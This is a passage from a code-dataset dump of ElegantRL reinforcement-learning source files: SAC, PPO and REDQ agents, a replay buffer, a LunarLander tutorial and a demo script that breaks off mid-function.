next_a)) # twin critics\r\n\r\n q_label = reward + mask * (next_q + next_log_prob * alpha)\r\n q1, q2 = self.cri.get_q1_q2(state, action)\r\n td_error = (self.criterion(q1, q_label) + self.criterion(q2, q_label)) / 2.\r\n obj_critic = (td_error * is_weights).mean()\r\n\r\n buffer.td_error_update(td_error.detach())\r\n return obj_critic, state\r\n\r\n\r\nclass AgentModSAC(AgentSAC): # Modified SAC using reliable_lambda and TTUR (Two Time-scale Update Rule)\r\n def __init__(self, net_dim, state_dim, action_dim, gpu_id=0, args=None):\r\n act_class = ActorFixSAC\r\n cri_class = CriticTwin\r\n self.if_act_target = True\r\n self.if_cri_target = True\r\n AgentBase.__init__(self, net_dim, state_dim, action_dim, act_class, cri_class, gpu_id, args)\r\n\r\n self.alpha_log = torch.tensor((-np.log(action_dim) * np.e,), dtype=torch.float32,\r\n requires_grad=True, device=self.device) # trainable parameter\r\n self.alpha_optim = torch.optim.Adam((self.alpha_log,), lr=args.learning_rate)\r\n self.target_entropy = np.log(action_dim)\r\n self.obj_c = (-np.log(0.5)) ** 0.5 # for reliable_lambda\r\n\r\n def update_net(self, buffer, batch_size, repeat_times, soft_update_tau):\r\n buffer.update_now_len()\r\n\r\n alpha = self.alpha_log.exp().detach()\r\n update_a = 0\r\n obj_actor = None\r\n for update_c in range(1, int(buffer.now_len * repeat_times / batch_size)):\r\n '''objective of critic (loss function of critic)'''\r\n with torch.no_grad():\r\n reward, mask, action, state, next_s = buffer.sample_batch(batch_size)\r\n\r\n next_a, next_log_prob = self.act_target.get_action_logprob(next_s)\r\n next_q = torch.min(*self.cri_target.get_q1_q2(next_s, next_a))\r\n q_label = reward + mask * (next_q + next_log_prob * alpha)\r\n q1, q2 = self.cri.get_q1_q2(state, action)\r\n obj_critic = self.criterion(q1, q_label) + self.criterion(q2, q_label)\r\n self.obj_c = 0.995 * self.obj_c + 0.0025 * obj_critic.item() # for reliable_lambda\r\n self.optim_update(self.cri_optim, obj_critic)\r\n self.soft_update(self.cri_target, self.cri, soft_update_tau)\r\n\r\n a_noise_pg, log_prob = self.act.get_action_logprob(state) # policy gradient\r\n '''objective of alpha (temperature parameter automatic adjustment)'''\r\n obj_alpha = (self.alpha_log * (log_prob - self.target_entropy).detach()).mean()\r\n self.optim_update(self.alpha_optim, obj_alpha)\r\n with torch.no_grad():\r\n self.alpha_log[:] = self.alpha_log.clamp(-16, 2)\r\n alpha = self.alpha_log.exp().detach()\r\n\r\n '''objective of actor using reliable_lambda and TTUR (Two Time-scales Update Rule)'''\r\n reliable_lambda = np.exp(-self.obj_c ** 2) # for reliable_lambda\r\n if_update_a = update_a / update_c < 1 / (2 - reliable_lambda)\r\n if if_update_a: # auto TTUR\r\n update_a += 1\r\n\r\n q_value_pg = torch.min(*self.cri.get_q1_q2(state, a_noise_pg))\r\n obj_actor = -(q_value_pg + log_prob * alpha).mean()\r\n self.optim_update(self.act_optim, obj_actor)\r\n self.soft_update(self.act_target, self.act, soft_update_tau)\r\n return self.obj_c, -obj_actor.item(), alpha.item()\r\n\r\n\r\n'''on-policy'''\r\n\r\n\r\nclass AgentPPO(AgentBase):\r\n def __init__(self, net_dim: int, state_dim: int, action_dim: int, gpu_id=0, args=None):\r\n act_class = ActorPPO\r\n cri_class = CriticPPO\r\n args.if_act_target = False\r\n AgentBase.__init__(self, net_dim=net_dim, state_dim=state_dim, action_dim=action_dim,\r\n act_class=act_class, cri_class=cri_class, gpu_id=gpu_id, args=args)\r\n\r\n self.if_off_policy = False\r\n self.ratio_clip = getattr(args, 'ratio_clip', 0.25) # could be 0.00 ~ 0.50 `ratio.clamp(1 - clip, 1 + clip)`\r\n self.lambda_entropy = getattr(args, 'lambda_entropy', 0.02) # could be 0.00~0.10\r\n self.lambda_gae_adv = getattr(args, 'lambda_entropy', 0.98) # could be 0.95~0.99, GAE (ICLR.2016.)\r\n\r\n '''attribute'''\r\n if self.env_num == 1:\r\n self.explore_env = self.explore_one_env\r\n else: # vector env\r\n self.explore_env = self.explore_vec_env\r\n\r\n if getattr(args, 'if_use_gae', False): # GAE (Generalized Advantage Estimation) for sparse reward\r\n self.get_reward_sum = self.get_reward_sum_gae\r\n else:\r\n self.get_reward_sum = self.get_reward_sum_raw\r\n\r\n def explore_one_env(self, env, target_step) -> list:\r\n \"\"\"\r\n Collect trajectories through the actor-environment interaction.\r\n\r\n :param env: the DRL environment instance.\r\n :param target_step: the total step_i for the interaction.\r\n :return: a list of trajectories [traj, ...] where `traj = [(state, other), ...]`.\r\n \"\"\"\r\n buf_items = list()\r\n last_done = 0\r\n state = self.states[0]\r\n\r\n '''get buf_items and last_done'''\r\n step_i = 0\r\n done = False\r\n while step_i < target_step or not done:\r\n ten_s = torch.as_tensor(state, dtype=torch.float32).unsqueeze(0)\r\n ten_a, ten_n = [ten.cpu() for ten in self.act.get_action(ten_s.to(self.device))] # different\r\n next_s, reward, done, _ = env.step(ten_a[0].tanh().numpy())\r\n\r\n buf_items.append((ten_s, reward, done, ten_a, ten_n)) # different\r\n\r\n step_i += 1\r\n if done:\r\n state = env.reset()\r\n last_done = step_i # behind `step_i += 1`\r\n else:\r\n state = next_s\r\n last_done = (last_done,)\r\n # assert len(buf_items) == step_i\r\n # assert len(buf_items[0]) == 5 # different\r\n # assert len(buf_items[0][0]) == self.env_num\r\n self.states[0] = state\r\n\r\n out_items = self.convert_trajectory(buf_items, last_done)\r\n return [out_items, ] # traj_list\r\n\r\n def explore_vec_env(self, env, target_step) -> list:\r\n buf_items = list()\r\n last_done = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n\r\n '''get buf_items and last_done'''\r\n ten_s = self.states\r\n step_i = 0\r\n ten_dones = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n while step_i < target_step or not any(ten_dones):\r\n ten_a, ten_n = self.act.get_action(ten_s) # different\r\n ten_s_next, ten_rewards, ten_dones, _ = env.step(ten_a.tanh())\r\n\r\n buf_items.append((ten_s.clone(), ten_rewards.clone(), ten_dones.clone(), ten_a, ten_n)) # different\r\n\r\n ten_s = ten_s_next\r\n\r\n step_i += 1\r\n last_done[torch.where(ten_dones)[0]] = step_i # behind `step_i+=1`\r\n # assert len(buf_items) == step_i\r\n # assert len(buf_items[0]) in {4, 5}\r\n # assert len(buf_items[0][0]) == self.env_num\r\n self.states = ten_s\r\n\r\n out_items = self.convert_trajectory(buf_items, last_done)\r\n return [out_items, ] # traj_list\r\n\r\n def update_net(self, buffer, batch_size, repeat_times, soft_update_tau):\r\n \"\"\"\r\n Update the neural networks by sampling batch data from `ReplayBuffer`.\r\n\r\n .. note::\r\n Using advantage normalization and entropy loss.\r\n\r\n :param buffer: the ReplayBuffer instance that stores the trajectories.\r\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\r\n :param repeat_times: the re-using times of each trajectory.\r\n :param soft_update_tau: the soft update parameter.\r\n :return: a tuple of the log information.\r\n \"\"\"\r\n with torch.no_grad():\r\n buf_state, buf_reward, buf_mask, buf_action, buf_noise = [ten.to(self.device) for ten in buffer]\r\n buf_len = buf_state.shape[0]\r\n\r\n '''get buf_r_sum, buf_logprob'''\r\n bs = 2 ** 10 # set a smaller 'BatchSize' when out of GPU memory.\r\n buf_value = [self.cri_target(buf_state[i:i + bs]) for i in range(0, buf_len, bs)]\r\n buf_value = torch.cat(buf_value, dim=0)\r\n buf_logprob = self.act.get_old_logprob(buf_action, buf_noise)\r\n\r\n buf_r_sum, buf_adv_v = self.get_reward_sum(buf_len, buf_reward, buf_mask, buf_value) # detach()\r\n buf_adv_v = (buf_adv_v - buf_adv_v.mean()) / (buf_adv_v.std() + 1e-5)\r\n # buf_adv_v: buffer data of adv_v value\r\n del buf_noise\r\n\r\n '''update network'''\r\n # with torch.enable_grad():\r\n # torch.set_grad_enabled(True)\r\n obj_critic = None\r\n obj_actor = None\r\n assert buf_len >= batch_size\r\n update_times = int(buf_len / batch_size * repeat_times)\r\n for update_i in range(1, update_times + 1):\r\n indices = torch.randint(buf_len, size=(batch_size,), requires_grad=False, device=self.device)\r\n\r\n state = buf_state[indices]\r\n r_sum = buf_r_sum[indices]\r\n adv_v = buf_adv_v[indices]\r\n action = buf_action[indices]\r\n logprob = buf_logprob[indices]\r\n\r\n '''PPO: Surrogate objective of Trust Region'''\r\n new_logprob, obj_entropy = self.act.get_logprob_entropy(state, action) # it is obj_actor\r\n ratio = (new_logprob - logprob.detach()).exp()\r\n surrogate1 = adv_v * ratio\r\n surrogate2 = adv_v * ratio.clamp(1 - self.ratio_clip, 1 + self.ratio_clip)\r\n obj_surrogate = -torch.min(surrogate1, surrogate2).mean()\r\n obj_actor = obj_surrogate + obj_entropy * self.lambda_entropy\r\n self.optim_update(self.act_optim, obj_actor)\r\n\r\n value = self.cri(state).squeeze(1) # critic network predicts the reward_sum (Q value) of state\r\n obj_critic = self.criterion(value, r_sum)\r\n self.optim_update(self.cri_optim, obj_critic / (r_sum.std() + 1e-6))\r\n if self.if_cri_target:\r\n self.soft_update(self.cri_target, self.cri, soft_update_tau)\r\n # torch.set_grad_enabled(False)\r\n\r\n a_std_log = getattr(self.act, 'a_std_log', torch.zeros(1)).mean()\r\n return obj_critic.item(), -obj_actor.item(), a_std_log.item() # logging_tuple\r\n\r\n def get_reward_sum_raw(self, buf_len, buf_reward, buf_mask, buf_value) -> (torch.Tensor, torch.Tensor):\r\n \"\"\"\r\n Calculate the **reward-to-go** and **advantage estimation**.\r\n\r\n :param buf_len: the length of the ``ReplayBuffer``.\r\n :param buf_reward: a list of rewards for the state-action pairs.\r\n :param buf_mask: a list of masks computed by the product of done signal and discount factor.\r\n :param buf_value: a list of state values estimated by the ``Critic`` network.\r\n :return: the reward-to-go and advantage estimation.\r\n \"\"\"\r\n buf_r_sum = torch.empty(buf_len, dtype=torch.float32, device=self.device) # reward sum\r\n\r\n pre_r_sum = 0\r\n for i in range(buf_len - 1, -1, -1):\r\n buf_r_sum[i] = buf_reward[i] + buf_mask[i] * pre_r_sum\r\n pre_r_sum = buf_r_sum[i]\r\n buf_adv_v = buf_r_sum - buf_value[:, 0]\r\n return buf_r_sum, buf_adv_v\r\n\r\n def get_reward_sum_gae(self, buf_len, ten_reward, ten_mask, ten_value) -> (torch.Tensor, torch.Tensor):\r\n \"\"\"\r\n Calculate the **reward-to-go** and **advantage estimation** using GAE.\r\n\r\n :param buf_len: the length of the ``ReplayBuffer``.\r\n :param ten_reward: a list of rewards for the state-action pairs.\r\n :param ten_mask: a list of masks computed by the product of done signal and discount factor.\r\n :param ten_value: a list of state values estimated by the ``Critic`` network.\r\n :return: the reward-to-go and advantage estimation.\r\n \"\"\"\r\n buf_r_sum = torch.empty(buf_len, dtype=torch.float32, device=self.device) # old policy value\r\n buf_adv_v = torch.empty(buf_len, dtype=torch.float32, device=self.device) # advantage value\r\n\r\n pre_r_sum = 0\r\n pre_adv_v = 0 # advantage value of previous step\r\n for i in range(buf_len - 1, -1, -1): # Notice: mask = (1-done) * gamma\r\n buf_r_sum[i] = ten_reward[i] + ten_mask[i] * pre_r_sum\r\n pre_r_sum = buf_r_sum[i]\r\n\r\n buf_adv_v[i] = ten_reward[i] + ten_mask[i] * pre_adv_v - ten_value[i]\r\n pre_adv_v = ten_value[i] + buf_adv_v[i] * self.lambda_gae_adv\r\n # ten_mask[i] * pre_adv_v == (1-done) * gamma * pre_adv_v\r\n return buf_r_sum, buf_adv_v\r\n\r\n\r\nclass AgentDiscretePPO(AgentPPO):\r\n def __init__(self, net_dim: int, state_dim: int, action_dim: int, gpu_id=0, args=None):\r\n act_class = ActorDiscretePPO\r\n cri_class = CriticPPO\r\n args.if_act_target = False\r\n AgentBase.__init__(self, net_dim=net_dim, state_dim=state_dim, action_dim=action_dim,\r\n act_class=act_class, cri_class=cri_class, gpu_id=gpu_id, args=args)\r\n\r\n self.if_off_policy = False\r\n self.ratio_clip = getattr(args, 'ratio_clip', 0.25) # could be 0.00 ~ 0.50 `ratio.clamp(1 - clip, 1 + clip)`\r\n self.lambda_entropy = getattr(args, 'lambda_entropy', 0.02) # could be 0.00~0.10\r\n self.lambda_gae_adv = getattr(args, 'lambda_entropy', 0.98) # could be 0.95~0.99, GAE (ICLR.2016.)\r\n\r\n '''attribute'''\r\n if self.env_num == 1:\r\n self.explore_env = self.explore_one_env\r\n else: # vector env\r\n self.explore_env = self.explore_vec_env\r\n\r\n if getattr(args, 'if_use_gae', False): # GAE (Generalized Advantage Estimation) for sparse reward\r\n self.get_reward_sum = self.get_reward_sum_gae\r\n else:\r\n self.get_reward_sum = self.get_reward_sum_raw\r\n\r\n def explore_one_env(self, env, target_step) -> list:\r\n \"\"\"\r\n Collect trajectories through the actor-environment interaction.\r\n\r\n :param env: the DRL environment instance.\r\n :param target_step: the total step_i for the interaction.\r\n :return: a list of trajectories [traj, ...] where `traj = [(state, other), ...]`.\r\n \"\"\"\r\n buf_items = list()\r\n last_done = 0\r\n state = self.states[0]\r\n\r\n '''get buf_items and last_done'''\r\n step_i = 0\r\n done = False\r\n while step_i < target_step or not done:\r\n ten_s = torch.as_tensor(state, dtype=torch.float32).unsqueeze(0)\r\n ten_a, ten_n = [ten.cpu() for ten in self.act.get_action(ten_s.to(self.device))] # different\r\n next_s, reward, done, _ = env.step(ten_a[0].int().numpy()) # different\r\n\r\n buf_items.append((ten_s, reward, done, ten_a, ten_n)) # different\r\n\r\n step_i += 1\r\n if done:\r\n state = env.reset()\r\n last_done = step_i # behind `step_i += 1`\r\n else:\r\n state = next_s\r\n last_done = (last_done,)\r\n # assert len(buf_items) == step_i\r\n # assert len(buf_items[0]) == 5 # different\r\n # assert len(buf_items[0][0]) == self.env_num\r\n self.states[0] = state\r\n\r\n out_items = self.convert_trajectory(buf_items, last_done)\r\n return [out_items, ] # traj_list\r\n\r\n def explore_vec_env(self, env, target_step) -> list:\r\n buf_items = list()\r\n last_done = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n\r\n '''get buf_items and last_done'''\r\n ten_s = self.states\r\n step_i = 0\r\n ten_dones = torch.zeros(self.env_num, dtype=torch.int, device=self.device)\r\n while step_i < target_step or not any(ten_dones):\r\n ten_a, ten_n = self.act.get_action(ten_s) # different\r\n ten_s_next, ten_rewards, ten_dones, _ = env.step(ten_a.int()) # different\r\n\r\n buf_items.append((ten_s.clone(), ten_rewards.clone(), ten_dones.clone(), ten_a, ten_n)) # different\r\n\r\n ten_s = ten_s_next\r\n\r\n step_i += 1\r\n last_done[torch.where(ten_dones)[0]] = step_i # behind `step_i+=1`\r\n # assert len(buf_items) == step_i\r\n # assert len(buf_items[0]) in {4, 5}\r\n # assert len(buf_items[0][0]) == self.env_num\r\n self.states = ten_s\r\n\r\n out_items = self.convert_trajectory(buf_items, last_done)\r\n return [out_items, ] # traj_list\r\n\r\n\r\n'''replay buffer'''\r\n\r\n\r\nclass ReplayBuffer:\r\n def __init__(self, max_len, state_dim, action_dim, gpu_id=0):\r\n self.now_len = 0\r\n self.next_idx = 0\r\n self.if_full = False\r\n self.max_len = max_len\r\n self.data_type = torch.float32\r\n self.action_dim = action_dim\r\n self.device = torch.device(f\"cuda:{gpu_id}\" if (torch.cuda.is_available() and (gpu_id >= 0)) else \"cpu\")\r\n\r\n other_dim = 1 + 1 + self.action_dim\r\n self.buf_other = torch.empty((max_len, other_dim), dtype=torch.float32, device=self.device)\r\n\r\n if isinstance(state_dim, int): # state is pixel\r\n self.buf_state = torch.empty((max_len, state_dim), dtype=torch.float32, device=self.device)\r\n elif isinstance(state_dim, tuple):\r\n self.buf_state = torch.empty((max_len, *state_dim), dtype=torch.uint8, device=self.device)\r\n else:\r\n raise ValueError('state_dim')\r\n\r\n def extend_buffer(self, state, other): # CPU array to CPU array\r\n size = len(other)\r\n next_idx = self.next_idx + size\r\n\r\n if next_idx > self.max_len:\r\n self.buf_state[self.next_idx:self.max_len] = state[:self.max_len - self.next_idx]\r\n self.buf_other[self.next_idx:self.max_len] = other[:self.max_len - self.next_idx]\r\n self.if_full = True\r\n\r\n next_idx = next_idx - self.max_len\r\n self.buf_state[0:next_idx] = state[-next_idx:]\r\n self.buf_other[0:next_idx] = other[-next_idx:]\r\n else:\r\n self.buf_state[self.next_idx:next_idx] = state\r\n self.buf_other[self.next_idx:next_idx] = other\r\n self.next_idx = next_idx\r\n\r\n def sample_batch(self, batch_size) -> tuple:\r\n indices = rd.randint(self.now_len - 1, size=batch_size)\r\n r_m_a = self.buf_other[indices]\r\n return (r_m_a[:, 0:1],\r\n r_m_a[:, 1:2],\r\n r_m_a[:, 2:],\r\n self.buf_state[indices],\r\n self.buf_state[indices + 1])\r\n\r\n def update_now_len(self):\r\n self.now_len = self.max_len if self.if_full else self.next_idx\r\n\r\n def save_or_load_history(self, cwd, if_save, buffer_id=0):\r\n save_path = f\"{cwd}/replay_{buffer_id}.npz\"\r\n\r\n if if_save:\r\n self.update_now_len()\r\n state_dim = self.buf_state.shape[1]\r\n other_dim = self.buf_other.shape[1]\r\n buf_state = np.empty((self.max_len, state_dim), dtype=np.float16) # sometimes np.uint8\r\n buf_other = np.empty((self.max_len, other_dim), dtype=np.float16)\r\n\r\n temp_len = self.max_len - self.now_len\r\n buf_state[0:temp_len] = self.buf_state[self.now_len:self.max_len].detach().cpu().numpy()\r\n buf_other[0:temp_len] = self.buf_other[self.now_len:self.max_len].detach().cpu().numpy()\r\n\r\n buf_state[temp_len:] = self.buf_state[:self.now_len].detach().cpu().numpy()\r\n buf_other[temp_len:] = self.buf_other[:self.now_len].detach().cpu().numpy()\r\n\r\n np.savez_compressed(save_path, buf_state=buf_state, buf_other=buf_other)\r\n print(f\"| ReplayBuffer save in: {save_path}\")\r\n elif os.path.isfile(save_path):\r\n buf_dict = np.load(save_path)\r\n buf_state = buf_dict['buf_state']\r\n buf_other = buf_dict['buf_other']\r\n\r\n buf_state = torch.as_tensor(buf_state, dtype=torch.float32, device=self.device)\r\n buf_other = torch.as_tensor(buf_other, dtype=torch.float32, device=self.device)\r\n self.extend_buffer(buf_state, buf_other)\r\n self.update_now_len()\r\n print(f\"| ReplayBuffer load: {save_path}\")\r\n", "id": "6780371", "language": "Python", "matching_score": 7.341732978820801, "max_stars_count": 0, "path": "elegantrl/agent.py" }, { "content": "class AgentREDQ(AgentBase): # [ElegantRL.2021.11.11]\n \"\"\"\"\n Bases: ``AgentBase``\n \n Randomized Ensemble Double Q-learning algorithm. “Randomized Ensembled Double Q-Learning: Learning Fast Without A Model”. <NAME> et al.. 2021.\n \n :param net_dim[int]: the dimension of networks (the width of neural networks)\n :param state_dim[int]: the dimension of state (the number of state vector)\n :param action_dim[int]: the dimension of action (the number of discrete action)\n :param reward_scale: scale the reward to get a appropriate scale Q value\n :param gamma: the discount factor of Reinforcement Learning\n\n :param learning_rate: learning rate of optimizer\n :param if_per_or_gae: PER (off-policy) or GAE (on-policy) for sparse reward\n :param env_num: the env number of VectorEnv. env_num == 1 means don't use VectorEnv\n :param gpu_id: the gpu_id of the training device. Use CPU when cuda is not available.\n :param G: Update to date ratio\n :param M: subset size of critics\n :param N: ensemble number of critics\n \"\"\"\n def __init__(self):\n AgentBase.__init__(self)\n self.ClassCri = Critic\n self.get_obj_critic = self.get_obj_critic_raw\n self.ClassAct = ActorSAC\n self.if_use_cri_target = True\n self.if_use_act_target = False\n self.alpha_log = None\n self.alpha_optim = None\n self.target_entropy = None\n self.obj_critic = (-np.log(0.5)) ** 0.5 # for reliable_lambda\n \n \n\n def init(self, net_dim=256, state_dim=8, action_dim=2, reward_scale=1.0, gamma=0.99,learning_rate=3e-4, if_per_or_gae=False, env_num=1, gpu_id=0, G=20, M=2, N=10):\n self.gamma = gamma\n self.state_dim = state_dim\n self.action_dim = action_dim\n self.reward_scale = reward_scale\n self.traj_list = [list() for _ in range(env_num)]\n self.G = G\n self.M = M\n self.N = N\n self.device = torch.device(f\"cuda:{gpu_id}\" if (torch.cuda.is_available() and (gpu_id >= 0)) else \"cpu\")\n self.cri_list = [self.ClassCri(net_dim, state_dim, action_dim).to(self.device) for i in range(self.N)]\n self.act = self.ClassAct(net_dim, state_dim, action_dim).to(self.device) \n self.cri_target_list = [deepcopy(self.cri_list[i])for i in range(N)]\n self.cri_optim_list = [torch.optim.Adam(self.cri_list[i].parameters(), learning_rate) for i in range(self.N)]\n self.act_optim = torch.optim.Adam(self.act.parameters(), learning_rate)\n assert isinstance(if_per_or_gae, bool)\n if env_num == 1:\n self.explore_env = self.explore_one_env\n else:\n self.explore_env = self.explore_vec_env\n self.alpha_log = torch.zeros(1,requires_grad=True, device=self.device) # trainable parameter\n self.alpha_optim = torch.optim.Adam([self.alpha_log], lr=learning_rate)\n self.target_entropy = np.log(action_dim)\n self.criterion = torch.nn.MSELoss()\n \n def get_obj_critic_raw(self, buffer, batch_size, alpha):\n \"\"\"\n Calculate the loss of networks with **uniform sampling**.\n \n :param buffer: the ReplayBuffer instance that stores the trajectories.\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\n :param alpha: the trade-off coefficient of entropy regularization.\n :return: the loss of the network and states.\n \"\"\"\n with torch.no_grad():\n batch = buffer.sample_batch(batch_size)\n state = torch.Tensor(batch['obs1']).to(self.device)\n next_s = torch.Tensor(batch['obs2']).to(self.device)\n action= torch.Tensor(batch['acts']).to(self.device)\n reward = torch.Tensor(batch['rews']).unsqueeze(1).to(self.device)\n mask = torch.Tensor(batch['done']).unsqueeze(1).to(self.device)\n #state, next_s, actions, reward, mask = buffer.sample_batch(batch_size)\n #print(batch_size,reward.shape,mask.shape,action.shape, state.shape, next_s.shape)\n next_a, next_log_prob = self.act.get_action_logprob(next_s) # stochastic policy\n g = torch.Generator()\n g.manual_seed(torch.randint(high = 10000000,size = (1,))[0].item())\n a = torch.randperm(self.N ,generator = g)\n #a = np.random.choice(self.N, self.M, replace=False)\n #print(a[:M])\n q_tmp = [self.cri_target_list[a[j]](next_s, next_a) for j in range(self.M)]\n q_prediction_next_cat = torch.cat(q_tmp, 1)\n min_q, min_indices = torch.min(q_prediction_next_cat, dim=1, keepdim=True)\n next_q_with_log_prob = min_q - alpha * next_log_prob\n y_q = reward + (1-mask) * self.gamma * next_q_with_log_prob\n q_values = [self.cri_list[j](state, action) for j in range(self.N)] # todo ensemble\n q_values_cat = torch.cat(q_values,dim=1)\n y_q = y_q.expand(-1, self.N) if y_q.shape[1] == 1 else y_q\n obj_critic = self.criterion(q_values_cat, y_q) * self.N\n return obj_critic, state\n #return y_q, state,action\n\n def select_actions(self, state,size, env):\n \"\"\"Select continuous actions for exploration\n\n :param state: states.shape==(batch_size, state_dim, )\n :return: actions.shape==(batch_size, action_dim, ), -1 < action < +1\n \"\"\"\n state = state.to(self.device)\n actions = self.act.get_action(state)\n return actions.detach().cpu()\n\n def cri_multi_train(self, k):\n q_values = self.cri_list[k](self.state,self.action)\n obj = self.criterion(q_values, self.y_q)\n self.cri_optim_list[k].zero_grad()\n obj.backward()\n self.cri_optim_list[k].step()\n \n def update_net(self, buffer, batch_size, soft_update_tau):\n #buffer.update_now_len()\n \"\"\"\n Update the neural networks by sampling batch data from ``ReplayBuffer``.\n \n :param buffer: the ReplayBuffer instance that stores the trajectories.\n :param batch_size: the size of batch data for Stochastic Gradient Descent (SGD).\n :param soft_update_tau: the soft update parameter.\n :return: a tuple of the log information.\n \"\"\"\n for i in range(self.G):\n alpha = self.alpha_log.cpu().exp().item()\n '''objective of critic (loss function of critic)'''\n obj_critic, state = self.get_obj_critic(buffer, batch_size, alpha)\n #self.y_q, self.state,self.action = self.get_obj_critic(buffer, batch_size, alpha) \n for q_i in range(self.N):\n self.cri_optim_list[q_i].zero_grad()\n obj_critic.backward()\n if ((i + 1) % self.G == 0) or i == self.G - 1:\n a_noise_pg, logprob = self.act.get_action_logprob(state) # policy gradient\n '''objective of alpha (temperature parameter automatic adjustment)'''\n cri_tmp = []\n for j in range(self.N):\n self.cri_list[j].requires_grad_(False)\n cri_tmp.append(self.cri_list[j](state, a_noise_pg))\n q_value_pg = torch.cat(cri_tmp, 1)\n q_value_pg = torch.mean(q_value_pg, dim=1, keepdim=True)\n obj_actor = (-q_value_pg + logprob * alpha).mean() # todo ensemble\n self.act_optim.zero_grad()\n obj_actor.backward()\n for j in range(self.N):\n self.cri_list[j].requires_grad_(True)\n obj_alpha = -(self.alpha_log * (logprob - 1).detach()).mean()\n self.optim_update(self.alpha_optim, obj_alpha)\n #print(obj_critic, obj_actor, obj_alpha)\n \t for q_i in range(self.N):\n self.cri_optim_list[q_i].step()\n if((i + 1) % self.G == 0) or i == self.G - 1:\n self.act_optim.step()\n for q_i in range(self.N):\n self.soft_update(self.cri_target_list[q_i], self.cri_list[q_i], soft_update_tau)\n return obj_actor, alpha\n\n", "id": "5799941", "language": "Python", "matching_score": 0.6664597988128662, "max_stars_count": 0, "path": "elegantrl/agents/AgentREDQ.py" }, { "content": "import gym\n\nfrom elegantrl.agents.AgentSAC import AgentSAC\nfrom elegantrl.envs.Gym import get_gym_env_args\nfrom elegantrl.train.config import Arguments\nfrom elegantrl.train.run import train_and_evaluate\n\nget_gym_env_args(gym.make('LunarLanderContinuous-v2'), if_print=True)\n\nenv_func = gym.make\nenv_args = {\n 'env_num': 1,\n 'env_name': 'LunarLanderContinuous-v2',\n 'max_step': 1000,\n 'state_dim': 8,\n 'action_dim': 4,\n 'if_discrete': True,\n 'target_return': 200,\n 'id': 'LunarLanderContinuous-v2'\n}\n\nargs = Arguments(agent=AgentSAC(), env_func=env_func, env_args=env_args)\n\nargs.net_dim = 2 ** 9\nargs.max_memo = 2 ** 22\nargs.repeat_times = 2 ** 1\nargs.reward_scale = 2 ** -2\nargs.batch_size = args.net_dim * 2\nargs.target_step = 2 * env_args['max_step']\n\nargs.eval_gap = 2 ** 8\nargs.eval_times1 = 2 ** 1\nargs.eval_times2 = 2 ** 4\nargs.break_step = int(8e7)\nargs.if_allow_break = False\nargs.worker_num = 1\nargs.learner_gpus = -1 # no GPU usage\n\ntrain_and_evaluate(args)\n", "id": "7942244", "language": "Python", "matching_score": 3.6712396144866943, "max_stars_count": 0, "path": "examples/tutorial_LunarLanderContinous-v2.py" }, { "content": "from elegantrl.run import *\r\n\r\n'''custom env'''\r\n\r\n\r\nclass PendulumEnv(gym.Wrapper): # [ElegantRL.2021.11.11]\r\n def __init__(self, gym_env_id='Pendulum-v1', target_return=-200):\r\n # Pendulum-v0 gym.__version__ == 0.17.0\r\n # Pendulum-v1 gym.__version__ == 0.21.0\r\n super(PendulumEnv, self).__init__(env=gym.make(gym_env_id))\r\n\r\n # from elegantrl.envs.Gym import get_gym_env_info\r\n # get_gym_env_info(env, if_print=True) # use this function to print the env information\r\n self.env_num = 1 # the env number of VectorEnv is greater than 1\r\n self.env_name = gym_env_id # the name of this env.\r\n self.max_step = 200 # the max step of each episode\r\n self.state_dim = 3 # feature number of state\r\n self.action_dim = 1 # feature number of action\r\n self.if_discrete = False # discrete action or continuous action\r\n self.target_return = target_return # episode return is between (-1600, 0)\r\n\r\n def reset(self):\r\n return self.env.reset().astype(np.float32)\r\n\r\n def step(self, action: np.ndarray):\r\n # PendulumEnv set its action space as (-2, +2). It is bad. # https://github.com/openai/gym/wiki/Pendulum-v0\r\n # I suggest to set action space as (-1, +1) when you design your own env.\r\n state, reward, done, info_dict = self.env.step(action * 2) # state, reward, done, info_dict\r\n return state.astype(np.float32), reward, done, info_dict\r\n\r\n\r\n'''demo'''\r\n\r\n\r\ndef demo_off_policy():\r\n gpu_id = 0\r\n args = None\r\n\r\n if_train_pendulum = 0\r\n if if_train_pendulum:\r\n \"TotalStep: 1e5, TargetReward: -200, UsedTime: 600s\"\r\n args = Arguments(AgentModSAC, env=PendulumEnv('Pendulum-v0'))\r\n args.learner_gpus = gpu_id\r\n args.reward_scale = 2 ** -1 # RewardRange: -1800 < -200 < -50 < 0\r\n args.gamma = 0.97\r\n args.target_step = args.max_step * 2\r\n args.eval_times = 2 ** 3\r\n\r\n if_train_lunar_lander = 1\r\n if if_train_lunar_lander:\r\n \"TotalStep: 4e5, TargetReward: 200, UsedTime: 900s\"\r\n # env = gym.make('LunarLanderContinuous-v2')\r\n # get_gym_env_args(env=env, if_print=True)\r\n env_func = gym.make\r\n env_args = {'env_num': 1,\r\n 'env_name': 'LunarLanderContinuous-v2',\r\n 'max_step': 1000,\r\n 'state_dim': 8,\r\n 'action_dim': 2,\r\n 'if_discrete': False,\r\n 'target_return': 200,\r\n\r\n 'id': 'LunarLanderContinuous-v2'}\r\n args = Arguments(AgentModSAC, env_func=env_func, env_args=env_args)\r\n\r\n args.target_step = args.max_step\r\n args.gamma = 0.99\r\n args.eval_times = 2 ** 5\r\n\r\n if_train_bipedal_walker = 0\r\n if if_train_bipedal_walker:\r\n \"TotalStep: 8e5, TargetReward: 300, UsedTime: 1800s\"\r\n env_func = gym.make\r\n env_args = {'env_num': 1,\r\n 'env_name': 'LunarLanderContinuous-v2',\r\n 'max_step': 1000,\r\n 'state_dim': 8,\r\n 'action_dim': 2,\r\n 'if_discrete': False,\r\n 'target_return': 200,\r\n\r\n 'id': 'LunarLanderContinuous-v2'}\r\n args = Arguments(AgentModSAC, env_func=env_func, env_args=env_args)\r\n args.target_step = args.max_step\r\n args.gamma = 0.98\r\n args.eval_times = 2 ** 4\r\n\r\n if_check = 0\r\n if if_check:\r\n train_and_evaluate(args)\r\n else:\r\n train_and_evaluate_mp(args)\r\n\r\n\r\ndef demo_on_policy():\r\n gpu_id = 1\r\n args = None\r\n\r\n if_train_pendulum = 0\r\n if if_train_pendulum:\r\n \"TotalStep: 1e5, TargetReward: -200, UsedTime: 600s\"\r\n args = Arguments(AgentPPO, env=PendulumEnv('Pendulum-v0'))\r\n args.learner_gpus = gpu_id\r\n 